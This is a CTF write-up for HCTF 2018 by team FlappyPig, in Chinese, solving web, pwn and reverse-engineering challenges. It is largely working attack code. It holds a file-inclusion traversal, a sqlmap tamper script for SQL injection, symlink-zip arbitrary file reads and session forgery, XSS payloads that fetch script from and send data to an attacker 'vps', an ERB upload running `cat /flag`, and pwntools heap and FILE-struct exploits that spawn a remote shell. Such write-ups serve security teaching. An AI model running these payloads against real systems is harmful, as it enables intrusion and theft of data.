HCTF2018 Writeup -- FlappyPig

M1n3 / 2018-11-12 12:33:00 / 浏览数 7307 安全技术 CTF 顶(0) 踩(0)

前言

一个招新小广告：FlappyPig 长期招新，尤其是 reverse+pwn 大佬。只要你感兴趣，只要你有耐心，只要你好学！！！请联系zsbpro@163.com 。

[TOC]

HCTF 2018 Online WriteUp

Web

Warmup

打开题目，f12发现

```
<!--source.php-->
```

以及hint和link：`http://warmup.2018.hctf.io/index.php?file=hint.php`：

```
flag not here, and flag in ffffllllaaaagggg
```

看到source.php，发现源代码

```
<?php
   class emmm
   {
       public static function checkFile(&$page)
       {
           $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
           if (! isset($page) || !is_string($page)) {
               echo "you can't see it";
               return false;
           }

           if (in_array($page, $whitelist)) {
               return true;
           }

           $_page = mb_substr(
               $page,
               0,
               mb_strpos($page . '?', '?')
           );
           if (in_array($_page, $whitelist)) {
               return true;
           }

           $_page = urldecode($page);
           $_page = mb_substr(
               $_page,
               0,
               mb_strpos($_page . '?', '?')
           );
           if (in_array($_page, $whitelist)) {
               return true;
           }
           echo "you can't see it";
           return false;
       }
   }

   if (! empty($_REQUEST['file'])
       && is_string($_REQUEST['file'])
       && emmm::checkFile($_REQUEST['file'])
   ) {
       include $_REQUEST['file'];
       exit;
   } else {
       echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
   }
?>
```

发现只有

```
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
```

才能通过，但发现截取有问题

```
$_page = mb_substr(
               $_page,
               0,
               mb_strpos($_page . '?', '?')
           );
```

随即构造

```
http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../../../ffffllllaaaagggg
```

即可拿到flag

Kzone

我们发现在用cookie做身份校验的时候查询了数据库

```
if ($_COOKIE["login_data"]) {
       $login_data = json_decode($_COOKIE['login_data'], true);
       $admin_user = $login_data['admin_user'];
       $udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
```

发现其中用了json_decode，那么我们可以尝试使用编码进行bypass，即可无视一切过滤进行注入
脚本如下
a.txt:

```
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
Content-Length: 33
Cache-Control: max-age=0
Origin: http://kzone.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Referer: http://kzone.2018.hctf.io/admin/login.php
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.1.3,1,2,3,4
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7notm2n004aen7oln00ohd9ei3; islogin=1; login_data=*
Connection: close

user=rr123&pass=rr123&login=Login
```

Command:

```
python sqlmap.py -r a.txt --tamper=hctf --dbs --dbms=mysql --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump -v3
```

tamper/hctf.py

```
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
   pass

def tamper(payload, **kwargs):
   data = '''{"admin_user":"%s"};'''
```

```
    payload = payload.lower()

    payload = payload.replace('u', '\u0075')
    payload = payload.replace('o', '\u006f')
    payload = payload.replace('i', '\u0069')
    payload = payload.replace('\'', '\u0027')
    payload = payload.replace('\"', '\u0022')
    payload = payload.replace(' ', '\u0020')
    payload = payload.replace('s', '\u0073')
    payload = payload.replace('#', '\u0023')
    payload = payload.replace('>', '\u003e')
    payload = payload.replace('<', '\u003c')
    payload = payload.replace('-', '\u002d')
    payload = payload.replace('=', '\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return data % payload
```

admin

在非常迷茫的时候，肯定想到必须得结合改密码功能，那会不会是change这里有问题，于是仔细去看代码，发现使用了strlower()

```
def strlower(username):
    username = nodeprep.prepare(username)
    return username
```

后来搜到这样一篇文章

```
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
```

对于如下字母

■■■■■■■■■■■■■■■■■■■■■■■■■■

具体编码可查`https://unicode-table.com/en/search/?q=small+capital`
`nodeprep.prepare`会进行如下操作

```
■ -> A -> a
```

我们容易想到一个攻击链：

- 注册用户□dmin
- 登录用户□dmin，变成Admin
- 修改密码Admin，更改了admin的密码

于是成功得到flag

hide and seek

思路很清晰，伪造admin即可
然后发现软连接可用来任意文件读取，那么想到读取secret_key
读文件，文件名来源于日志

```
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt
```

得到内容

```
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
```

```
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
   return '.' in filename and \
          filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
   error = request.args.get('error', '')
   if(error == '1'):
       session.pop('username', None)
       return render_template('index.html', forbidden=1)

   if 'username' in session:
       return render_template('index.html', user=session['username'], flag=flag.flag)
   else:
       return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
   username=request.form['username']
   password=request.form['password']
   if request.method == 'POST' and username != '' and password != '':
       if(username == 'admin'):
           return redirect(url_for('index',error=1))
       session['username'] = username
   return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
   session.pop('username', None)
   return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
   if 'the_file' not in request.files:
       return redirect(url_for('index'))
   file = request.files['the_file']
   if file.filename == '':
       return redirect(url_for('index'))
   if file and allowed_file(file.filename):
       filename = secure_filename(file.filename)
       file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
       if(os.path.exists(file_save_path)):
           return 'This file already exists'
       file.save(file_save_path)
   else:
       return 'This file is not a zipfile'


   try:
       extract_path = file_save_path + '_'
       os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
       read_obj = os.popen('cat ' + extract_path + '/*')
       file = read_obj.read()
       read_obj.close()
       os.system('rm -rf ' + extract_path)
   except Exception as e:
       file = None

   os.remove(file_save_path)
   if(file != None):
       if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
           return redirect(url_for('index', error=1))
   return Response(file)
```

```
if __name__ == '__main__':
   #app.run(debug=True)
   app.run(host='127.0.0.1', debug=True, port=10008)
```

关键语句

```
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
```

但是SECRET_KEY是随机数，需要预测，那么需要py版本号
在

```
ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt
```

发现内容

```
from flask import Flask
app = Flask(__name__)


@app.route("/")
def hello():
   return "Hello World from Flask in a uWSGI Nginx Docker container with \
    Python 3.6 (default)"

if __name__ == "__main__":
   app.run(host='0.0.0.0', debug=True, port=80)
```

发现python是3.6版本的，那么即可尝试预测随机数
对于`uuid.getnode()`
尝试读取`/sys/class/net/eth0/address`
得到`12:34:3e:14:7c:62`
计算十进制：20015589129314
用python3.6去看一下随机数

```
random.seed(20015589129314)
print str(random.random()*100)
```

得到secret_key=11.935137566861131
尝试伪造session

```
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk
```

得到flag

game

这题贼无聊。。。order by password就行，然后一直注册fuzz

```
import requests
import hashlib
import threading

def md5(str):
   sha = hashlib.md5(str)
   encrypts = sha.hexdigest()
   return encrypts

def reg(username,password):
   url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
   data = {
       "username":username,
       "password":password,
       "sex":"1",
       "submit":"submit"
   }
   headers = {
       'Connection': 'close',
   }
   r = requests.post(url=url,data=data,headers=headers)

def fuzz(start,end):
   for i in range(start,end):
       password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
       username=md5(password)
       content = username + " " + password +" "+ str(i) + "\n"
       reg(username, password)
       print content
   print str(start)+'~'+str(end)+"complete"

step=20
for i in range(33,127,step):
   t = threading.Thread(target=fuzz, args=(i, i+step))
   t.start()
```

一位一位得到密码`dSa8&&!@#$%^&d1nGy1aS3dja`
登录admin，即可

share

在`http://share.2018.hctf.io/home/Alphatest`里看到我们的uid和当前file number。
在`http://share.2018.hctf.io/home/share`存在xss。
content填入xss代码:`<img src=s onerror='var p=document.createElement("script");p.src="https://vps";document.body.appendChild(p);'>`Download url随便填。
读取后台web页面，可以看到主要能用到的有`addtest`和`upload`。其中`addtest`提交到`/file/Alpha_test`,upload提交到`/file/upload`。
这两个的代码在tobots.txt中都有。这两个url都做了限定只有admin才能提交。
因此我们需要利用xss上传我们的文件。读取源码可以知道这是ruby on rails。我们可以上传erb模板文件。
在源码中使用了`Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")`
队友找到cve 2018-6914(ruby2.5.0的hint，我本地版本不对卡了好久。。。。)
参考：`https://hackerone.com/reports/302298`，我们可以构造文件名为`/../../app/views/home/aa38.erb`，文件内容:`<%= `cat /flag ` %>`,在这里文件名和文件内容都需要base64编码一次。
上传文件js payload：

```
$.get("http://share.2018.hctf.io/home/upload",function(data){
    var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
    var formData = new FormData();

    formData.append("authenticity_token", token);
    formData.append("file[context]", "zxcvxzcvxzcv");

    var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg==';   //■■■■■■■base64
    var blob = new Blob([content], { type: "image/png"});

    formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi");  //■■■■■■■base64
    formData.append("commit", 'submit');

    var request = new XMLHttpRequest();
    request.open("POST", "http://share.2018.hctf.io/file/upload");
    request.send(formData);
    request.onreadystatechange=function()
    {
        if (request.readyState==4)
        {
            $.ajax({url:'http://vps/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dat
        }
    }
});
```

上传之后我们的erb模板就已经躺在home目录下面了。但是需要通过管理员分享给自己才能拿到文件名。
文件分享payload:

```
$.get("http://share.2018.hctf.io/home/addtest",function(data){
    var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
    $.ajax({url:'http://share.2018.hctf.io/file/Alpha_test',type:'POST',data:{'token':token,'uid':'3','fid':'23','commit':'subm
        $.get("http://vps/?set=aaa",function(b){});
    }});
});
```

这里的fid就是当前文件个数。最后一个上传的文件就是我们的文件。
然后查看home/Alphatest，就能拿到文件名。
最后访问`http://share.2018.hctf.io/?page=aa3820181111-336-12y58wh`获取flag。

bottle

登录进去发现有个path的302跳转，猜测这里有xss，试了一下不行，根据提示得到firefoxdriver，猜测有crlf，结合Transfer-Encoding chunked头，尝试了一下post请求，这里要加content-length和xss-proction就可以弹回来了，然后就是替换bot的cookie,payload

```
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%
```

Pwn

easyexp

```
from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64"  #i386
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']
context.word_size = 64   #32
context.log_level = "debug" #info, warn, critical

global io
binary = "./easyexp"

if __name__ == "__main__":
   elf = ELF(binary)
   libc = ELF("./libc.so.6")
   pipe_argv = [binary,""]
   pipe_env = {"LD_PRELOAD":"./libc.so.6"}
   #pipe_env = {}
   #io = process(pipe_argv, env=pipe_env)

   io = remote('150.109.46.159',20004)
   io.sendlineafter('token:', 'Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
   #pause()
   print io.readuntil("name: ")
   io.sendline("x" * 16)
   print io.readuntil("x" * 16)
   pid_buf = io.readuntil("@")[:-1]
   log.warn(pid_buf.encode("hex"))
   if len(pid_buf) == 1:
      pid = u8(pid_buf)
   elif len(pid_buf) == 2:
      pid = u16(pid_buf)

   print io.readuntil("$")
   io.sendline("mkfile 12")
   io.readuntil("something:")
   #make chunk A
   io.sendline("\x2f" * 0x30 + "a" * 0x50)



   print io.readuntil("$")
   io.sendline("mkfile \x36")
   io.readuntil("something:")
   #make chunk B
   io.sendline("2" * 0x37)

   path = "../../../proc/{}/cwd/(unreachable)/tmp".format(pid)
   print io.readuntil("$")
   io.sendline("mkdir " + path )

   print io.readuntil("$")
   io.sendline("mkfile 123")
   io.readuntil("something:")
   #make chunk C
```

```
io.sendline("3" * 0x100 + p16(0x150))

print io.readuntil("$")
io.sendline("mkfile 1234")
io.readuntil("something:")
#make chunk D
io.sendline("4" * 0x90)

#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x38) + p16(0x151)
print io.readuntil("$")
io.sendline("mkdir " + path )

#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x37)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x36)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x35)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x34)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x33)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x32)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x31)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x30) + "\x90"
print io.readuntil("$")
io.sendline("mkdir " + path )



#free and malloc to make an overlap chunk
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x130)


#fake overlaped chunk
for i in range(0, 0x10):
    print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * (0x47 - i))

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x38 + p64(0x110))


for i in range(0, 0x7):
    print io.readuntil("$")
    io.sendline("mkfile 12345")
    io.readuntil("something:")
    io.sendline("5" * (0x37 - i))

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x30 + p32(0x30))

#make fake chunk


print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x18 + p64(0x6031e0 - 0x10))

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x10 + p64(0x6031e0 - 0x18)[:7])

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x8 + p64(0x31)[:7])

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline(p64(0)[:7])

print io.readuntil("$")
io.sendline("mkfile 123")
io.readuntil("something:")
io.sendline("3" * 0x100 + p16(0x110))

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("\x00")
pause()

#free 3 to make unlink attack
print io.readuntil("$")
io.sendline("mkfile 123456")
io.readuntil("something:")
io.sendline("3" * 0x19)


print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("\xcc" * 0x18 + p32(elf.got["strlen"]))

io.readuntil("$")
io.sendline("cat 12345")
leak_libc = u64(io.readline()[1:-1].ljust(8,"\x00"))
print hex(leak_libc)
libc_base = leak_libc - libc.symbols["strlen"]
one_gadget = libc.symbols["system"] + libc_base
log.info("libc_base--->{}".format(hex(libc_base)))

pause()

print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
```

```
   io.sendline(p64(one_gadget)[:7])

   io.readuntil("$")
   io.sendline("mkdir /bin/sh")


   io.interactive()
```

babyprintf_ver2

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './babyprintf_ver2'
elf = ELF(binary)
libc = elf.libc

io = process(binary, aslr = 0)
#io = remote('150.109.44.250', 20005)
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']

myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30

io.recvuntil("So I change the buffer location to ")
code_base = int(io.recvuntil("\n")[:-1], 16) - 0x202010
log.info("\033[33m" + hex(code_base) + "\033[0m")


pay = 'a' * 0x10
pay += p64(code_base+0x202030) * 2
# now start the fake stdout
# 0x155555327760 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00001555553277e3
# 0x155555327770 <_IO_2_1_stdout_+16>:    0x00001555553277e3      0x00001555553277e3
# 0x155555327780 <_IO_2_1_stdout_+32>:    0x00001555553277e3      0x00001555553277e3
# 0x155555327790 <_IO_2_1_stdout_+48>:    0x00001555553277e3      0x00001555553277e3
# 0x1555553277a0 <_IO_2_1_stdout_+64>:    0x00001555553277e4      0x0000000000000000
# 0x1555553277b0 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
# 0x1555553277c0 <_IO_2_1_stdout_+96>:    0x0000000000000000      0x0000155555326a00
# 0x1555553277d0 <_IO_2_1_stdout_+112>:   0x0000000000000001      0xffffffffffffffff
# 0x1555553277e0 <_IO_2_1_stdout_+128>:   0x000000000a000000      0x00001555553288c0
# 0x1555553277f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0000000000000000
# 0x155555327800 <_IO_2_1_stdout_+160>:   0x00001555553268c0      0x0000000000000000
# 0x155555327810 <_IO_2_1_stdout_+176>:   0x0000000000000000      0x0000000000000000
# 0x155555327820 <_IO_2_1_stdout_+192>:   0x00000000ffffffff      0x0000000000000000
# 0x155555327830 <_IO_2_1_stdout_+208>:   0x0000000000000000      0x00001555553232a0
pay += p64(0xfbad2887)
pay += p64(code_base + 0x201fb0) # _IO_read_ptr
pay += p64(code_base + 0x201fb0) # _IO_read_end
pay += p64(code_base + 0x201fb0) # _IO_read_base
pay += p64(code_base + 0x201fb0) # _IO_write_base
pay += p64(code_base + 0x201fb0 + 8) # _IO_write_ptr
pay += p64(code_base + 0x201fb0) # _IO_write_end
pay += p64(code_base + 0x201fb0) # _IO_buf_base
pay += p64(code_base + 0x201fb0 + 8) # _IO_buf_end
pay += p64(0) * 4
pay += p64(0x0000155555326a00)
pay += p64(1)
pay += p64(0xffffffffffffffff)
pay += p64(0x0000000000000000)
pay += p64(code_base + 0x202200) # bypass _IO_acquire_locks...
pay += p64(0) * 3
pay += p64(0x00000000ffffffff)
pay += p64(0) * 2
```

```
io.sendline(pay)
io.recvuntil("permitted!\n")
libc_addr = myu64(io.recvn(8)) - libc.symbols['puts']
libc.address = libc_addr
log.info("\033[33m" + hex(libc_addr) + "\033[0m")

def www(addr, c):
   pay = 'a'.ljust(0x10)
   pay += p64(code_base+0x202030) * 2
   # now start the fake stdout
   # 0x155555327760 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00001555553277e3
   # 0x155555327770 <_IO_2_1_stdout_+16>:    0x00001555553277e3      0x00001555553277e3
   # 0x155555327780 <_IO_2_1_stdout_+32>:    0x00001555553277e3      0x00001555553277e3
   # 0x155555327790 <_IO_2_1_stdout_+48>:    0x00001555553277e3      0x00001555553277e3
   # 0x1555553277a0 <_IO_2_1_stdout_+64>:    0x00001555553277e4      0x0000000000000000
   # 0x1555553277b0 <_IO_2_1_stdout_+80>:    0x0000000000000000      0x0000000000000000
   # 0x1555553277c0 <_IO_2_1_stdout_+96>:    0x0000000000000000      0x0000155555326a00
   # 0x1555553277d0 <_IO_2_1_stdout_+112>:   0x0000000000000001      0xffffffffffffffff
   # 0x1555553277e0 <_IO_2_1_stdout_+128>:   0x000000000a000000      0x00001555553288c0
   # 0x1555553277f0 <_IO_2_1_stdout_+144>:   0xffffffffffffffff      0x0000000000000000
   # 0x155555327800 <_IO_2_1_stdout_+160>:   0x00001555553268c0      0x0000000000000000
   # 0x155555327810 <_IO_2_1_stdout_+176>:   0x0000000000000000      0x0000000000000000
   # 0x155555327820 <_IO_2_1_stdout_+192>:   0x00000000ffffffff      0x0000000000000000
   # 0x155555327831 <_IO_2_1_stdout_+208>:   0x0000000000000000      0x00001555553232a0
   pay += p64(0xfbad2887)
   pay += p64(code_base + 0x2020b3) # _IO_read_ptr
   pay += p64(code_base + 0x2020b3) # _IO_read_end
   pay += p64(code_base + 0x2020b3) # _IO_read_base
   pay += p64(code_base + 0x2020b3) # _IO_write_base
   pay += p64(code_base + 0x2020b3) # _IO_write_ptr
   pay += p64(code_base + 0x2020b3) # _IO_write_end
   pay += p64(addr) # _IO_buf_base
   pay += p64(code_base + 0x2020b3 + 1) # _IO_buf_end
   pay += p64(0) * 4
   pay += p64(code_base + 0x202030)
   pay += p64(1) # _fileno
   pay += p64(0xffffffffffffffff)
   pay += p64(0x0000000000000000)
   pay += p64(code_base + 0x202200) # bypass _IO_acquire_locks...
   pay += p64(0) * 3
   pay += p64(0x00000000ffffffff)
   pay += p64(0) * 2
   pay += p64(0x00000000ffffffff)
   io.sendline(pay)
   io.sendline(c)

gdb.attach(io, '')
www(libc.symbols['__malloc_hook'], 'a')
io.sendline('%100000p')
io.interactive()
```

the end

```
#/usr/bin/python
from pwn import *

context.endian = "little"
context.os = "linux"
context.arch = "amd64"  #i386
context.word_size = 64   #32
context.log_level = "debug" #info, warn, critical

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
 rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
 [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
 [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
 [rsp+0x70] == NULL
'''

global io
binary = "./the_end"

def write4(date):
   for one in data:
       io.send(p64(one[0]))
       io.send(chr(one[1]))


#0x00007f436cc2d6e0 stdin->vtable
#0x00007f436cc2e3e0 a pointer --> one byte
#0x00007f436cc2e400 0x00007f436c9f67e9
#                   0x00007f436c95a2a4 one_gadget --> 3 bytes


'''
stdin->vtable  0x00007fa1e55679b8  0x00007fa1e55666e0


'''
if __name__ == "__main__":
   elf = ELF(binary)
   libc = ELF("./libc.so.6")
   pipe_argv = [binary,""]
   pipe_env = {"LD_PRELOAD":"./libc.so.6"}
   #io = process(pipe_argv, env=pipe_env)
   io = remote("150.109.46.159",20002)
   io.readuntil("Input your token:")
   io.sendline("Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa")
   io.readuntil("here is a gift ")
   libc_sleep = int(io.readuntil(",")[2:-1], 16)
   libc_base = libc_sleep - libc.symbols["sleep"]
   log.info("libc_base-->{}".format(hex(libc_base)))
   one_gadget = 0xf02a4 + libc_base
   log.info(hex(one_gadget))
   stdin_vtable = 0x3c49b8 + libc_base
   io.readline()
   data = []
   data.append([libc_base + 0x3c4bf8 + 0, ((one_gadget) >> 0) & 0xff])
   data.append([libc_base + 0x3c4bf8 + 1, ((one_gadget) >> 8) & 0xff])
   data.append([libc_base + 0x3c4bf8 + 2, ((one_gadget) >> 16) & 0xff])
   data.append([libc_base + 0x3c49b8 + 1, ((0x3c4be0 + libc_base) >> 8) & 0xff])
   pause()
   write4(data)
   io.interactive()
   '''enter'''
   '''enter'''
   '''exec 1>&0'''
```

Reverse

spiral

main函数中比较简单
输入通过argv[1]送入
sub_12F9E0中检查格式，并返回除"hctf{}"外的字符个数，要求为73
sub_12FB10中分隔输入，处理为46+27两段内容
sub_12F430中检查第一段46个字符

sub_12F070中解码并写出一个驱动
sub_12E430中在注册表里注册该驱动

下文所有关于硬件虚拟化的了解都是基于做题时搜索查询的，可能会有不少错误，还望指出海涵。

check1(sub_12F430)

将每个字符分为高5位和低3位，分别保存成两个数组
根据低3位在sub_12F650中变化高5位，变化的方法都是很简单的加和异或
然后将两个数组合成一个，最后比较
反向处理根据结果的奇数位字节反向变换偶数位字节，再合并即可

check2(spiral_core.sys)

在写出的函数中将后27个字符放入字节数组中，即作为驱动的data保存
动调可获得完整内容

入口

驱动入口为DriverEntry，几个处理函数用处都不大，关键只有sub_403310这一个函数
开始read了cr寄存器和msr寄存器，申请了几个内存，保存了各种寄存器，不用太关心
但是从sub_401596中可以看到一个不常见的指令：vmxon
这里开始才显露出这个题目的真正獠牙：硬件虚拟化
vmxon表示VMX(Virtual-Machine Extensions)的启动

关键在sub_402B60中的一系列操作
大部分的东西其实都是不用看的，我估计出题人也不是自己一句一句写的（XD，调用的就两个函数VM_WRITE和READ_MSR

关键在最后一个sub_401631，里面是另一个不常见的指令：vmlaunch
vmlaunch表示Guest虚拟机启动，下面运行的指令就都跟外层物理机无关了

相关资料中的流程高度相似，可以以此参考

vmlaunch以后，最大的区别就是一些特殊指令将会被VMX捕获，进入到VMExitProc函数中进行处理
这个函数在0x402f61处绑定到结构体中

```
vmwrite(0x6C16, (int)VMExitProc);
```

默认状态下，IDA似乎没有识别到这个函数，只是一个Dword
需要自己找到对应的地址按P来CreateFunction

VMEXITPROC分析

这个函数中基本都是环境的保存和恢复
核心逻辑在sub_402880中
开头的五个调用可以参照上文的相关资料恢复出符号

```
//■■■■Exit■■■■■
ULONG ExitReason = VMRead_ULONG(VMX_VMCS_RO_EXIT_REASON);//0x4402
ULONG ExitInterruptionInformation = VMRead_ULONG(VMX_VMCS_RO_EXIT_INTERRUPTION_INFO);//0x4404
ULONG ExitInstructionLength = VMRead_ULONG(VMX_VMCS_RO_EXIT_INSTR_LENGTH);//0x440C
ULONG ExitQualification = VMRead_ULONG(VMX_VMCS_RO_EXIT_QUALIFICATION);//0x6400
```

这里的关键是ExitReason，也就是下面处理的switch的变量
可以参考这篇资料

对照发现，VMExitProc中对CPUID、INVD、VMCALL、CR_ACCESS、MSR_READ、MSR_WRITE这几条指令有特殊处理，之后我们需要特殊分析

通过分析几个handler可以大体构建出整个程序的目的

在处理handler之前，首先要声明两个数据结构
几个handler都是在操作他俩，而IDA由于丢失符号导致这两个结构识别的很破碎，需要自己根据handler和上下文语义来恢复
主要是最后检查的时候范围为data的9x9，而对vm_code的几次操作都不超过10

```
int vm_code[10]
int data[9][9]
```

cpuid_handler

根据eax选择对vm_code异或的数组

invd_handler

根据eax变换vm_code
值得一提的是dword_405374这个数组是`vm_code-4(byte)`的地方

vmcall_handler

首先拆解eax，高1字节作为command，高2字节处理后作为data的index，低2字节选择是否逆序，低1字节作为input的index

主要是根据command和vm_code来处理data
这里有一个很容易误解的点
Dword_405174(point_data)处是一个指针，指针指向data[9][9]的首地址&data[0][0]
从汇编可以很容易看出来

```
.text:00401CE9                 mov     eax, point_data
.text:00401CEE                 mov     ecx, [eax+edx*4]
```

我们知道，在C语言中定义一个数组a[10]，那么a就是常量&a[0]。此时如果再令指针`p=&a[0]=a`，则`a[x]`等价于`*(a + x*4)`等价于`*(p+x*4)`等价于`p[x]`
也就是说，a[x]和p[x]实际上是相同的
而在IDA中，或者说是汇编中，p和a却是两个量：a是常量地址，在汇编中表示为数组首地址，而p则是一个指针，指向数组首地址。
这意味着对a查看交叉引用找不到对p的调用

这么讲很好理解，但是在汇编里我觉得有点懵orz

好的，说了这么多其实就是说point_data等价于data

vm_code对应的几个函数都是修改data的
最后有两个与众不同的，0xdd和0xff
0xdd里有vmxoff的调用，显然是退出虚拟机用的
0xff里则是一个检查data的函数
简单理一下可以看出来，一共循环9次，每次根据一个数组拿到9个下标，然后要求data的这9个数为不重复的1-9

PS: 这里的check函数虽然有个局部变量作为结果，但是并不会返回，也不影响任何东西，所以正确与否几乎没有显式体现
以及check的9次循环参数给的都是1，正常情况下应该为1-9，需要自己根据理解修正

readmsr_handler

根据eax变换data

于是现在有了操作方式和最终结果，接下来只要看vm是怎么操作的就可以了

Guest虚拟机的流程

从vmlaunch往后
首先将Dword_40557C赋值为0，这是个虚拟机是否成功运行的标志变量，由Guest虚拟机执行，则当vmoff以后物理机中的该变量将仍然为1。

继续往后走，退到0x4016E0处

```
.text:0040171D                 mov     eax, 0DEADBEEFh
.text:00401722                 cpuid
.text:00401724                 mov     eax, 4437h
.text:00401729                 invd
.text:0040172B                 mov     eax, 174h
.text:00401730                 mov     ecx, 176h
.text:00401735                 rdmsr
```

这七句分别令VMExitProc调用了cpuid_handler、invd_handler和readmsr_handler，注意readmsr_handler中eax为0x174，而不是0x176，这里F5状态下IDA会将ecx作

继续往后走，进到sub_4030B0中
里面除了几个rdmsr和invd以外就是大量的vmcall在修改data
值得注意的是最后一个参数为`vmcall(0xFFEEDEAD);`
按照vmcall_handler的意思，这里应该是进行fake_check的
所以处理到这里就结束了

在0x4016CD出的cpuid和invd不纳入考虑是因为此时的代码仍然是物理机执行的，因此这些指令不会被VMX的VMExitProc捕获进行处理

求解

总体来看就是将input和data进行了一些运算，最后按照给定下标进行校验9x9的数独
推好计算，然后逆运算也是可行的
但是让我手算数独是不可能的，这辈子都是不可能的

z3启动！

全盘照抄，将input填入27个BitVec(32)即可
最后sovle一下就行

注意这个虽然每次运算过后都会`&0xff`但是本质上data还是Int型的，如果使用8位的BitVec会产生很要命的错误，折腾了我3个小时orz
`output■■■■255■■■■■■■■■■■■■■■■■■■■■■■`

刚开始求出了个多解，死活交不上，后来问了手出题人才想起来多解的情况
